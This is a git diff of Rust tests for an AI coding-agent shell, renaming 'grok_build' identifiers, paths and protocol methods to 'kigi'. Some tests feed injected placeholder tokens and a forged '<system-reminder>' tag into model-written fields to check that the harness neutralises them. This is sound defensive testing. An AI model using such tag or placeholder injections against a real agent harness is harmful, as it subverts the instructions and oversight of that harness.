     local
         .run_until(async {
@@ -828,7 +828,7 @@ fn render_goal_rules_places_discipline_after_block_recap() {
         &block_recap,
         "",
         None,
-        "/tmp/grok-goal-x/implementer",
+        "/tmp/kigi-goal-x/implementer",
         true,
     );
     let recap_idx = body
@@ -851,7 +851,7 @@ fn render_goal_rules_discipline_before_tracking_when_block_recap_empty() {
         "",
         "",
         None,
-        "/tmp/grok-goal-x/implementer",
+        "/tmp/kigi-goal-x/implementer",
         true,
     );
     assert_goal_discipline_in_reminder(&body, "render_goal_rules_empty_recap");
@@ -865,7 +865,7 @@ fn render_goal_rules_substitutes_custom_todo_tool_through_full_composition() {
         "",
         "",
         None,
-        "/tmp/grok-goal-x/implementer",
+        "/tmp/kigi-goal-x/implementer",
         true,
     );
     assert_eq!(
@@ -908,7 +908,7 @@ fn render_goal_rules_substitutes_all_placeholders_in_slim_template() {
         "<block>recap</block>\n",
         "<goal-state>state</goal-state>\n\n",
         None,
-        "/tmp/grok-goal-x/implementer",
+        "/tmp/kigi-goal-x/implementer",
         true,
     );
     assert!(body.contains("A goal has been set: build a thing"));
@@ -941,7 +941,7 @@ fn render_goal_rules_substitutes_all_placeholders_in_slim_template() {
         !body.contains("/tmp/goal-verifier-"),
         "slim template must not publish a per-goal verdict file path:\n{body}",
     );
-    assert!(body.contains("/tmp/grok-goal-x/implementer"));
+    assert!(body.contains("/tmp/kigi-goal-x/implementer"));
     assert!(body.contains("`{SCRATCH}` placeholder resolves to"));
     for placeholder in [
         "{OBJECTIVE}",
@@ -978,7 +978,7 @@ fn render_goal_rules_plan_aware_block_when_plan_present() {
         "",
         "",
         Some(plan_path),
-        "/tmp/grok-goal-x/implementer",
+        "/tmp/kigi-goal-x/implementer",
         true,
     );
     assert_eq!(
@@ -1042,7 +1042,7 @@ fn render_goal_rules_no_plan_block_when_plan_absent() {
         "",
         "",
         None,
-        "/tmp/grok-goal-x/implementer",
+        "/tmp/kigi-goal-x/implementer",
         true,
     );
     assert!(
@@ -1088,7 +1088,7 @@ fn render_goal_rules_scratch_status_reflects_readiness() {
         "",
         "",
         None,
-        "/tmp/grok-goal-x/implementer",
+        "/tmp/kigi-goal-x/implementer",
         true,
     );
     assert!(
@@ -1109,7 +1109,7 @@ fn render_goal_rules_scratch_status_reflects_readiness() {
         "",
         "",
         None,
-        "/tmp/grok-goal-x/implementer",
+        "/tmp/kigi-goal-x/implementer",
         false,
     );
     assert!(
@@ -1294,7 +1294,7 @@ fn continuation_directive_renders_strategist_note_only_when_present() {
         "next",
         "todo_write",
         "update_goal",
-        "/tmp/grok-goal-x/implementer",
+        "/tmp/kigi-goal-x/implementer",
         true,
     );
     let note_idx = with_note
@@ -1319,7 +1319,7 @@ fn continuation_directive_renders_strategist_note_only_when_present() {
         "next",
         "todo_write",
         "update_goal",
-        "/tmp/grok-goal-x/implementer",
+        "/tmp/kigi-goal-x/implementer",
         true,
     );
     assert!(
@@ -1349,7 +1349,7 @@ fn strategist_note_neutralises_placeholder_injection() {
         "next",
         "todo_write",
         "update_goal",
-        "/tmp/grok-goal-x/implementer",
+        "/tmp/kigi-goal-x/implementer",
         true,
     );
     assert!(
@@ -1362,7 +1362,7 @@ fn strategist_note_neutralises_placeholder_injection() {
         "the `{{goal_tool}}` token inside the note must neither survive intact nor expand:\n{directive}",
     );
     assert!(
-        !directive.contains("write to /tmp/grok-goal-x/implementer;"),
+        !directive.contains("write to /tmp/kigi-goal-x/implementer;"),
         "the `{{scratch_dir}}` token inside the note must NOT expand:\n{directive}",
     );
 }
@@ -1431,7 +1431,7 @@ fn render_goal_continuation_directive_substitutes_all_placeholders() {
         "Wire the stop detector into handle_turn_end.",
         "todo_write",
         "update_goal",
-        "/tmp/grok-goal-x/implementer",
+        "/tmp/kigi-goal-x/implementer",
         true,
     );
     assert!(body.contains("Objective: ship the directive nudge"));
@@ -1471,7 +1471,7 @@ fn render_goal_continuation_directive_substitutes_all_placeholders() {
     );
     assert!(!body.contains("Per <task_completion_discipline>"));
     assert!(
-        body.contains("/tmp/grok-goal-x/implementer"),
+        body.contains("/tmp/kigi-goal-x/implementer"),
         "continuation directive must advertise the scratch dir:\n{body}",
     );
     assert!(
@@ -1525,7 +1525,7 @@ fn render_goal_continuation_directive_scratch_status_reflects_readiness() {
         "next",
         "todo_write",
         "update_goal",
-        "/tmp/grok-goal-x/implementer",
+        "/tmp/kigi-goal-x/implementer",
         true,
     );
     assert!(
@@ -1552,7 +1552,7 @@ fn render_goal_continuation_directive_scratch_status_reflects_readiness() {
         "next",
         "todo_write",
         "update_goal",
-        "/tmp/grok-goal-x/implementer",
+        "/tmp/kigi-goal-x/implementer",
         false,
     );
     assert!(
@@ -1585,7 +1585,7 @@ fn render_goal_continuation_directive_bail_preface_toggles_cleanly() {
         "next",
         "todo_write",
         "update_goal",
-        "/tmp/grok-goal-x/implementer",
+        "/tmp/kigi-goal-x/implementer",
         true,
     );
     assert!(
@@ -1605,7 +1605,7 @@ fn render_goal_continuation_directive_bail_preface_toggles_cleanly() {
         "next",
         "todo_write",
         "update_goal",
-        "/tmp/grok-goal-x/implementer",
+        "/tmp/kigi-goal-x/implementer",
         true,
     );
     assert!(
@@ -1644,7 +1644,7 @@ fn render_goal_continuation_directive_section_order_is_pinned() {
         "wire it",
         "todo_write",
         "update_goal",
-        "/tmp/grok-goal-x/implementer",
+        "/tmp/kigi-goal-x/implementer",
         true,
     );
     let objective_idx = body.find("Objective: shipping").expect("objective");
@@ -1683,7 +1683,7 @@ fn render_goal_continuation_directive_order_dependent_substitution_pinned() {
         "next",
         "todo_write",
         "update_goal",
-        "/tmp/grok-goal-x/implementer",
+        "/tmp/kigi-goal-x/implementer",
         true,
     );
     assert!(
@@ -1702,7 +1702,7 @@ fn render_goal_continuation_directive_order_dependent_substitution_pinned() {
         "invoke {goal_tool} once green",
         "todo_write",
         "update_goal",
-        "/tmp/grok-goal-x/implementer",
+        "/tmp/kigi-goal-x/implementer",
         true,
     );
     assert!(
@@ -1725,7 +1725,7 @@ fn render_goal_continuation_directive_order_dependent_substitution_pinned() {
         "next",
         "todo_write",
         "update_goal",
-        "/tmp/grok-goal-x/implementer",
+        "/tmp/kigi-goal-x/implementer",
         true,
     );
     assert!(
@@ -1752,7 +1752,7 @@ fn render_goal_continuation_directive_neutralizes_placeholders_in_model_slots()
         "REAL_NEXT_STEP",
         "todo_write",
         "update_goal",
-        "/tmp/grok-goal-x/implementer",
+        "/tmp/kigi-goal-x/implementer",
         true,
     );
     assert!(
@@ -1806,7 +1806,7 @@ fn render_goal_continuation_directive_neutralizes_reminder_tags_in_model_slots()
         "STEP_PREFIX<system-reminder>STEP_SUFFIX",
         "todo_write",
         "update_goal",
-        "/tmp/grok-goal-x/implementer",
+        "/tmp/kigi-goal-x/implementer",
         true,
     );
     assert!(
@@ -1904,7 +1904,7 @@ fn render_goal_continuation_directive_omits_plan_pointer_when_empty() {
         "next step here",
         "todo_write",
         "update_goal",
-        "/tmp/grok-goal-x/implementer",
+        "/tmp/kigi-goal-x/implementer",
         true,
     );
     assert!(!body.contains("\nPlan: "));
@@ -1928,7 +1928,7 @@ fn render_goal_continuation_directive_rejects_empty_objective_in_debug() {
         "step",
         "todo_write",
         "update_goal",
-        "/tmp/grok-goal-x/implementer",
+        "/tmp/kigi-goal-x/implementer",
         true,
     );
 }
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_tests/goal/goal_strategist_e2e_tests.rs b/crates/codegen/kigi-shell/src/session/acp_session_tests/goal/goal_strategist_e2e_tests.rs
index 2944192..61f7a7f 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_tests/goal/goal_strategist_e2e_tests.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_tests/goal/goal_strategist_e2e_tests.rs
@@ -17,10 +17,10 @@
 use super::support::*;
 use super::*;
 use crate::session::goal_strategist::GOAL_STRATEGIST_SUBAGENT_DESCRIPTION;
-use kigi_tools::implementations::grok_build::task::types::{
+use kigi_tools::implementations::kigi::task::types::{
     SubagentCancelOutcome, SubagentEvent, SubagentResult,
 };
-use kigi_tools::implementations::grok_build::update_goal::UpdateGoalInput;
+use kigi_tools::implementations::kigi::update_goal::UpdateGoalInput;
 use serial_test::serial;
 use std::collections::VecDeque;
 use std::sync::Arc as StdArc;
@@ -104,7 +104,7 @@ fn spawn_coordinator(
 
 async fn answer_strategist(
     behaviour: StrategistBehaviour,
-    req: Box<kigi_tools::implementations::grok_build::task::types::SubagentRequest>,
+    req: Box<kigi_tools::implementations::kigi::task::types::SubagentRequest>,
 ) {
     match behaviour {
         StrategistBehaviour::WriteNoteThenDone => {
@@ -139,7 +139,7 @@ async fn answer_strategist(
 async fn answer_skeptic(
     verdict: SkepticVerdict,
     spawn_idx: usize,
-    req: Box<kigi_tools::implementations::grok_build::task::types::SubagentRequest>,
+    req: Box<kigi_tools::implementations::kigi::task::types::SubagentRequest>,
 ) {
     if let Some(p) = parse_details_path(&req.prompt) {
         let _ = tokio::fs::write(&p, b"# mock skeptic details\n").await;
@@ -243,7 +243,7 @@ fn seed_channel(actor: &SessionActor, cmds: Vec<UpdateGoalInput>) {
     let (tx, rx) = tokio::sync::mpsc::unbounded_channel();
     *actor.goal_update_rx.borrow_mut() = Some(rx);
     for cmd in cmds {
-        tx.send(kigi_tools::implementations::grok_build::update_goal::envelope_for_test(cmd))
+        tx.send(kigi_tools::implementations::kigi::update_goal::envelope_for_test(cmd))
             .unwrap();
     }
     drop(tx);
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_tests/goal/goal_summarizer_e2e_tests.rs b/crates/codegen/kigi-shell/src/session/acp_session_tests/goal/goal_summarizer_e2e_tests.rs
index ad5ba17..336779c 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_tests/goal/goal_summarizer_e2e_tests.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_tests/goal/goal_summarizer_e2e_tests.rs
@@ -17,10 +17,10 @@
 use super::support::*;
 use super::*;
 use crate::session::goal_summarizer::GOAL_SUMMARIZER_SUBAGENT_DESCRIPTION;
-use kigi_tools::implementations::grok_build::task::types::{
+use kigi_tools::implementations::kigi::task::types::{
     SubagentCancelOutcome, SubagentEvent, SubagentResult,
 };
-use kigi_tools::implementations::grok_build::update_goal::UpdateGoalInput;
+use kigi_tools::implementations::kigi::update_goal::UpdateGoalInput;
 use serial_test::serial;
 use std::collections::VecDeque;
 use std::sync::Arc as StdArc;
@@ -98,7 +98,7 @@ fn spawn_coordinator(
 
 async fn answer_summarizer(
     behaviour: SummarizerBehaviour,
-    req: Box<kigi_tools::implementations::grok_build::task::types::SubagentRequest>,
+    req: Box<kigi_tools::implementations::kigi::task::types::SubagentRequest>,
 ) {
     match behaviour {
         SummarizerBehaviour::ReturnSummary => {
@@ -127,7 +127,7 @@ async fn answer_summarizer(
 async fn answer_skeptic(
     verdict: SkepticVerdict,
     spawn_idx: usize,
-    req: Box<kigi_tools::implementations::grok_build::task::types::SubagentRequest>,
+    req: Box<kigi_tools::implementations::kigi::task::types::SubagentRequest>,
 ) {
     if let Some(p) =
         crate::session::goal_classifier::parse_skeptic_details_path_from_prompt(&req.prompt)
@@ -268,7 +268,7 @@ fn seed_channel(actor: &SessionActor, cmds: Vec<UpdateGoalInput>) {
     let (tx, rx) = tokio::sync::mpsc::unbounded_channel();
     *actor.goal_update_rx.borrow_mut() = Some(rx);
     for cmd in cmds {
-        tx.send(kigi_tools::implementations::grok_build::update_goal::envelope_for_test(cmd))
+        tx.send(kigi_tools::implementations::kigi::update_goal::envelope_for_test(cmd))
             .unwrap();
     }
     drop(tx);
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_tests/interjection_tests.rs b/crates/codegen/kigi-shell/src/session/acp_session_tests/interjection_tests.rs
index 1ccd7b5..28b01dd 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_tests/interjection_tests.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_tests/interjection_tests.rs
@@ -199,7 +199,7 @@ mod interjection_broadcast_tests {
     /// Multi-client fix: a mid-turn interjection must be broadcast to every
     /// attached client (not just the originator) so all panes viewing the same
     /// session render it. This locks the wire contract the pager's
-    /// `handle_interjection` depends on: method `x.ai/session/interjection`
+    /// `handle_interjection` depends on: method `kigi/session/interjection`
     /// carrying `sessionId` + `text`.
     #[tokio::test]
     async fn broadcast_interjection_emits_sessionid_and_text() {
@@ -217,14 +217,14 @@ mod interjection_broadcast_tests {
                 let mut payload = None;
                 while let Ok(msg) = gateway_rx.try_recv() {
                     if let kigi_acp_lib::AcpClientMessage::ExtNotification(args) = msg
-                        && args.request.method.as_ref() == "x.ai/session/interjection"
+                        && args.request.method.as_ref() == "kigi/session/interjection"
                     {
                         payload =
                             serde_json::from_str::<serde_json::Value>(args.request.params.get())
                                 .ok();
                     }
                 }
-                let payload = payload.expect("an x.ai/session/interjection broadcast");
+                let payload = payload.expect("an kigi/session/interjection broadcast");
                 assert_eq!(
                     payload.get("sessionId").and_then(|v| v.as_str()),
                     Some("test-actor"),
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_tests/laziness/laziness_debug_tests.rs b/crates/codegen/kigi-shell/src/session/acp_session_tests/laziness/laziness_debug_tests.rs
index ea7c3a8..4ed8a37 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_tests/laziness/laziness_debug_tests.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_tests/laziness/laziness_debug_tests.rs
@@ -622,7 +622,7 @@ fn sample_line() -> LazinessDebugLogLine {
     LazinessDebugLogLine {
         timestamp: "2026-05-21T22:14:01.123Z".to_string(),
         session_id: "019e4c65-434b-7d62-9d4b-8137d1d413e4".to_string(),
-        model_id: "grok-4.5".to_string(),
+        model_id: "kigi-4.5".to_string(),
         items_sent: 28,
         todo_snapshot: vec![DebugTodoSnapshot {
             id: "turn-finish-test-1".to_string(),
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_tests/parallel_dispatch_tests.rs b/crates/codegen/kigi-shell/src/session/acp_session_tests/parallel_dispatch_tests.rs
index bd74ebf..7073743 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_tests/parallel_dispatch_tests.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_tests/parallel_dispatch_tests.rs
@@ -180,7 +180,7 @@ async fn incremental_dispatch_surfaces_fast_tool_before_slow_sibling() {
 /// `execute_tool_calls` Phase 2. The original implementation hardcoded
 /// `parsed_args.get("file_path")`, which silently bypassed serialization
 /// for any toolset whose edit input declared the path under a different
-/// JSON key. The compat toolset input types use `path`, and grok_build's
+/// JSON key. The compat toolset input types use `path`, and kigi's
 /// `read_file` uses `target_file`, so all of
 /// those calls fell through to fully concurrent dispatch and could lose
 /// edits via TOCTOU on the same workspace file.
@@ -188,8 +188,8 @@ async fn incremental_dispatch_surfaces_fast_tool_before_slow_sibling() {
 /// These tests pin the JSON-key contract so the bucket key keeps tracking
 /// every toolset's actual schema.
 #[test]
-fn lock_path_for_args_matches_grok_build_file_path() {
-    // grok_build search_replace / opencode EditTool / WriteTool / etc.
+fn lock_path_for_args_matches_kigi_file_path() {
+    // kigi search_replace / opencode EditTool / WriteTool / etc.
     let args = serde_json::json!({
         "file_path": "/repo/src/main.rs",
         "old_string": "foo",
@@ -210,8 +210,8 @@ fn lock_path_for_args_matches_path_arg() {
 }
 
 #[test]
-fn lock_path_for_args_matches_grok_build_target_file() {
-    // grok_build read_file uses #[serde(rename = "target_file")].
+fn lock_path_for_args_matches_kigi_target_file() {
+    // kigi read_file uses #[serde(rename = "target_file")].
     let args = serde_json::json!({
         "target_file": "/repo/src/main.rs",
     });
@@ -274,14 +274,14 @@ fn lock_path_for_args_buckets_parallel_compat_strreplace_to_same_lock() {
 }
 
 #[test]
-fn lock_path_for_args_buckets_grok_build_and_compat_to_same_lock_for_same_file() {
-    // A mixed batch (e.g. grok_build search_replace + StrReplace
+fn lock_path_for_args_buckets_kigi_and_compat_to_same_lock_for_same_file() {
+    // A mixed batch (e.g. kigi search_replace + StrReplace
     // in the same turn — possible if the harness ever exposes both, or
     // during toolset migration) must still serialize on the shared file
     // path. file_path takes precedence over path when both are present,
     // but neither tool emits both keys today, so this asserts the
     // cross-toolset key normalization works in practice.
-    let grok = serde_json::json!({
+    let kigi = serde_json::json!({
         "file_path": "/repo/src/main.rs",
         "old_string": "a",
         "new_string": "b",
@@ -291,7 +291,7 @@ fn lock_path_for_args_buckets_grok_build_and_compat_to_same_lock_for_same_file()
         "old_string": "c",
         "new_string": "d",
     });
-    assert_eq!(lock_path_for_args(&grok), lock_path_for_args(&compat));
+    assert_eq!(lock_path_for_args(&kigi), lock_path_for_args(&compat));
 }
 
 /// Regression: skill-discovery reminders must land after all tool results, not mid-batch.
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_tests/plan_approval_resume_tests.rs b/crates/codegen/kigi-shell/src/session/acp_session_tests/plan_approval_resume_tests.rs
index ac7504a..f98c93b 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_tests/plan_approval_resume_tests.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_tests/plan_approval_resume_tests.rs
@@ -1,7 +1,7 @@
 //! Resume re-park of the `exit_plan_mode` approval + the mid-turn
 //! disconnect handling.
 //!
-//! On resume the shell re-issues the `x.ai/exit_plan_mode` reverse-request when
+//! On resume the shell re-issues the `kigi/exit_plan_mode` reverse-request when
 //! `awaiting_plan_approval` was persisted, recreating a real live waiter so the
 //! pager's existing approve/revise/abandon path works unchanged. These tests
 //! pin the reverse-request shape, the awaiting-bit lifecycle, and the mid-turn
@@ -93,7 +93,7 @@ async fn request_plan_approval_issues_reverse_request_and_clears_flag() {
             );
 
             let (method, session_id) = responder.await.unwrap();
-            assert_eq!(method.as_deref(), Some("x.ai/exit_plan_mode"));
+            assert_eq!(method.as_deref(), Some("kigi/exit_plan_mode"));
             assert_eq!(
                 session_id.as_deref(),
                 Some("test-actor"),
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_tests/plan_mode_edit_gate_tests.rs b/crates/codegen/kigi-shell/src/session/acp_session_tests/plan_mode_edit_gate_tests.rs
index 7797b4e..281656c 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_tests/plan_mode_edit_gate_tests.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_tests/plan_mode_edit_gate_tests.rs
@@ -6,12 +6,12 @@
 //! BEFORE the permission layer can auto-approve.
 use super::support::*;
 use super::*;
-/// Build an actor whose toolset parses grok `search_replace` plus the plan
+/// Build an actor whose toolset parses kigi `search_replace` plus the plan
 /// tools (so `${{ tools.by_kind.exit_plan }}` resolves in the rejection
 /// message), with a gateway drain answering session notifications.
 async fn build_gate_actor() -> SessionActor {
-    use kigi_tools::implementations::grok_build::enter_plan_mode::EnterPlanModeTool;
-    use kigi_tools::implementations::grok_build::exit_plan_mode::ExitPlanModeTool;
+    use kigi_tools::implementations::kigi::enter_plan_mode::EnterPlanModeTool;
+    use kigi_tools::implementations::kigi::exit_plan_mode::ExitPlanModeTool;
     use kigi_tools::registry::types::ToolConfig;
     let (gateway_tx, mut gateway_rx) =
         tokio::sync::mpsc::unbounded_channel::<kigi_acp_lib::AcpClientMessage>();
@@ -19,8 +19,8 @@ async fn build_gate_actor() -> SessionActor {
         tokio::sync::mpsc::unbounded_channel::<PersistenceMsg>();
     let actor = create_test_actor(0, 256_000, 85, gateway_tx, persistence_tx).await;
     *actor.agent.borrow_mut() = test_agent_with_tools(vec![
-        ToolConfig::from_id("GrokBuild:read_file"),
-        ToolConfig::from_id("GrokBuild:search_replace"),
+        ToolConfig::from_id("Kigi:read_file"),
+        ToolConfig::from_id("Kigi:search_replace"),
         ToolConfig::for_tool::<EnterPlanModeTool>(),
         ToolConfig::for_tool::<ExitPlanModeTool>(),
     ])
@@ -77,10 +77,10 @@ async fn tool_result_text(actor: &SessionActor, call_id: &str) -> String {
         .unwrap_or_else(|| panic!("no tool_result for {call_id} in {conv:?}"))
 }
 /// The headline: plan mode Active + allow-all permissions (the always-approve
-/// worst case) still rejects a grok edit outside the plan file, without ever
+/// worst case) still rejects a kigi edit outside the plan file, without ever
 /// reaching the permission layer, and steers the model to `exit_plan_mode`.
 #[tokio::test(flavor = "current_thread")]
-async fn plan_mode_rejects_grok_edit_outside_plan_file_despite_allow_all_permissions() {
+async fn plan_mode_rejects_kigi_edit_outside_plan_file_despite_allow_all_permissions() {
     let local = tokio::task::LocalSet::new();
     local
         .run_until(async {
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_tests/prompt_context_persistence_tests.rs b/crates/codegen/kigi-shell/src/session/acp_session_tests/prompt_context_persistence_tests.rs
index d20fa00..e160fca 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_tests/prompt_context_persistence_tests.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_tests/prompt_context_persistence_tests.rs
@@ -60,7 +60,7 @@ fn test_system_prompt_write_and_read() {
 
 #[test]
 fn test_system_prompt_is_plain_text_not_json() {
-    let prompt = "You are a Grok Build subagent.";
+    let prompt = "You are a Kigi subagent.";
     // system_prompt.txt is raw text, NOT JSON-encoded.
     assert!(!prompt.starts_with('"'), "must not be JSON-quoted");
     assert!(!prompt.starts_with('{'), "must not be JSON object");
@@ -107,7 +107,7 @@ fn test_system_prompt_matches_chat_history_system_message() {
     let session_dir = tmp.path().join("session-consistency");
     std::fs::create_dir_all(&session_dir).unwrap();
 
-    let system_prompt = "You are a Grok Build subagent.\n\n<tool_calling>\n...";
+    let system_prompt = "You are a Kigi subagent.\n\n<tool_calling>\n...";
 
     // Write system_prompt.txt (same string used for chat_history).
     std::fs::write(session_dir.join(SYSTEM_PROMPT_FILENAME), system_prompt).unwrap();
@@ -164,7 +164,7 @@ fn test_load_system_prompt_returns_content_when_present() {
     let session_dir = tmp.path().join("session-load-test");
     std::fs::create_dir_all(&session_dir).unwrap();
 
-    let prompt = "You are a Grok Build subagent.";
+    let prompt = "You are a Kigi subagent.";
     std::fs::write(session_dir.join(SYSTEM_PROMPT_FILENAME), prompt).unwrap();
 
     let loaded = load_system_prompt_from_dir(&session_dir);
@@ -243,7 +243,7 @@ const HEAD_TOKEN: &str = "HEADSTART_TOKEN_aaa";
 const TAIL_TOKEN: &str = "TAILEND_TOKEN_zzz";
 
 fn fake_prompt_path() -> std::path::PathBuf {
-    std::path::PathBuf::from("/tmp/grok-test-home/sessions/cwd/sid/prompts/prompt_0.txt")
+    std::path::PathBuf::from("/tmp/kigi-test-home/sessions/cwd/sid/prompts/prompt_0.txt")
 }
 
 /// `truncate_bytes_suffix` keeps a char-boundary-safe suffix (multibyte-safe).
@@ -343,7 +343,7 @@ fn build_truncated_preserves_small_query_truncates_context() {
     assert!(message.contains(&query), "small query preserved intact");
     assert!(
         message.starts_with(&query),
-        "grok ordering: query block first"
+        "kigi ordering: query block first"
     );
     assert!(message.contains("CTXHEAD_TOKEN"), "context head preserved");
     assert!(!message.contains(&context), "oversized context truncated");
@@ -381,7 +381,7 @@ fn build_truncated_both_oversized_keeps_bounded_heads() {
     assert!(!message.contains(&context), "full context not inlined");
     assert!(
         message.starts_with("QHEAD_TOKEN"),
-        "grok ordering: query first"
+        "kigi ordering: query first"
     );
     assert!(
         message.len() <= TRUNCATED_PROMPT_PREFIX_SIZE,
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_tests/recap_display_only_tests.rs b/crates/codegen/kigi-shell/src/session/acp_session_tests/recap_display_only_tests.rs
index eda5446..eeb00fa 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_tests/recap_display_only_tests.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_tests/recap_display_only_tests.rs
@@ -415,9 +415,9 @@ async fn manual_recap_generation_failure_persists_request_artifact() {
                         "artifact must include the recap request items"
                     );
                     assert!(
-                        artifact.x_grok_req_id.starts_with("xai-recap-"),
+                        artifact.x_kigi_req_id.starts_with("xai-recap-"),
                         "req id: {}",
-                        artifact.x_grok_req_id
+                        artifact.x_kigi_req_id
                     );
                     saw_recap_request = true;
                 }
@@ -529,7 +529,7 @@ async fn manual_recap_over_budget_trims_persisted_request_and_is_display_only()
 /// Over-budget recap serializes to a well-formed Anthropic Messages payload:
 /// system preserved, reasoning stripped, no dangling `tool_use`/`tool_result`, no
 /// `tool_result` before the appended instruction. (Messages is the strictest
-/// shape, so it also covers the laxer grok ChatCompletions/Responses shapes.)
+/// shape, so it also covers the laxer kigi ChatCompletions/Responses shapes.)
 #[test]
 fn over_budget_recap_serializes_to_well_formed_messages_request() {
     use crate::session::helpers::session_recap;
@@ -568,7 +568,7 @@ fn over_budget_recap_serializes_to_well_formed_messages_request() {
         ConversationItem::tool_result("c2", "z".repeat(40_000)),     // trailing run
     ];
 
-    // grok backend => strip_reasoning=false; the over-budget branch strips anyway.
+    // kigi backend => strip_reasoning=false; the over-budget branch strips anyway.
     let items = session_recap::budget_recap_items(conv, "system-reminder", false, 8_000);
     let req = ConversationRequest::from_items(items);
     let msg = kigi_sampling_types::build_messages_request(&req);
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_tests/reminder_policy_tests.rs b/crates/codegen/kigi-shell/src/session/acp_session_tests/reminder_policy_tests.rs
index 6c071b7..e93ec48 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_tests/reminder_policy_tests.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_tests/reminder_policy_tests.rs
@@ -115,7 +115,7 @@ fn remote_settings_preserves_false_and_zero_todo_gate_fields() {
     assert_eq!(settings.todo_gate_max_fires_per_prompt, Some(0));
 }
 fn def_with_template(tpl: TemplateOverride) -> AgentDefinition {
-    let mut def = AgentDefinition::default_grok_build();
+    let mut def = AgentDefinition::default_kigi();
     def.system_prompt = tpl;
     def
 }
@@ -127,7 +127,7 @@ fn policy_with_gate(enabled: bool) -> ReminderPolicy {
 use crate::session::goal_tracker::GoalStatus;
 #[test]
 fn goal_slash_and_harness_available_predicate_matrix() {
-    use kigi_tools::implementations::grok_build::UPDATE_GOAL_TOOL_NAME;
+    use kigi_tools::implementations::kigi::UPDATE_GOAL_TOOL_NAME;
     let other = vec!["todo_write".to_string()];
     let with_update = vec![UPDATE_GOAL_TOOL_NAME.to_string()];
     for (goal_enabled, tool_names, expect) in [
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_tests/replay_buffer_send_update_tests.rs b/crates/codegen/kigi-shell/src/session/acp_session_tests/replay_buffer_send_update_tests.rs
index 3513396..2be87b1 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_tests/replay_buffer_send_update_tests.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_tests/replay_buffer_send_update_tests.rs
@@ -1193,7 +1193,7 @@ async fn reasoning_only_doomloop_turn_captures_every_generation_as_segments() {
                     completion_tokens: Some(0),
                     reasoning_tokens: Some(4096),
                     prompt_tokens: Some(128),
-                    model: "grok-test".to_string(),
+                    model: "kigi-test".to_string(),
                     first_choice_seen: true,
                 }),
                 doom_loop_triggers: None,
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_tests/reverse_request_session_id_tests.rs b/crates/codegen/kigi-shell/src/session/acp_session_tests/reverse_request_session_id_tests.rs
index 2b2b489..7398f3d 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_tests/reverse_request_session_id_tests.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_tests/reverse_request_session_id_tests.rs
@@ -2,10 +2,10 @@
 //! (permission / `ask_user_question` / plan-approval) must carry a
 //! non-empty `sessionId`, otherwise Tier-2 routing silently drops it
 //! (`server.rs`). The invariant holds today; these tests pin it.
-use kigi_tools::implementations::grok_build::ask_user_question::{
+use kigi_tools::implementations::kigi::ask_user_question::{
     AskUserQuestionExtRequest, AskUserQuestionMode,
 };
-use kigi_tools::implementations::grok_build::exit_plan_mode::ExitPlanModeExtRequest;
+use kigi_tools::implementations::kigi::exit_plan_mode::ExitPlanModeExtRequest;
 
 #[test]
 fn ask_user_question_request_carries_session_id() {
diff --git a/crates/codegen/kigi-shell/src/session/acp_session_tests/rewrite_zero_turn_prefix_tests.rs b/crates/codegen/kigi-shell/src/session/acp_session_tests/rewrite_zero_turn_prefix_tests.rs
index c2c1efd..23c79b4 100644
--- a/crates/codegen/kigi-shell/src/session/acp_session_tests/rewrite_zero_turn_prefix_tests.rs
+++ b/crates/codegen/kigi-shell/src/session/acp_session_tests/rewrite_zero_turn_prefix_tests.rs
@@ -51,7 +51,7 @@ fn skips_synthetic_reminder_at_index_one() {
 /// Drives the real `handle_rebuild_agent_for_definition` path.
 #[tokio::test(flavor = "current_thread")]
 async fn rebuild_reinjects_goal_update_handle() {
-    use kigi_tools::implementations::grok_build::update_goal::{
+    use kigi_tools::implementations::kigi::update_goal::{
         GoalUpdateHandle, UpdateGoalInput, envelope_for_test,
     };
     let local = tokio::task::LocalSet::new();
@@ -61,9 +61,7 @@ async fn rebuild_reinjects_goal_update_handle() {
             let (persist_tx, _persist_rx) = tokio::sync::mpsc::unbounded_channel();
             let actor = create_test_actor(0, 256_000, 85, gw_tx, persist_tx).await;
             actor
-                .handle_rebuild_agent_for_definition(
-                    kigi_agent::AgentDefinition::default_grok_build(),
-                )
+                .handle_rebuild_agent_for_definition(kigi_agent::AgentDefinition::default_kigi())
                 .await
                 .expect("zero-turn rebuild should succeed");
             let bridge = actor.agent.borrow().tool_bridge().clone();
@@ -99,7 +97,7 @@ async fn rebuild_reinjects_goal_update_handle() {
         .await;
 }
 /// The seeded skill used by the rebuild skill-reminder tests. A non-plugin
-/// Local skill is always listable, so it renders into the grok markdown skill
+/// Local skill is always listable, so it renders into the kigi markdown skill
 /// catalog when the pending baseline is drained for a different agent.
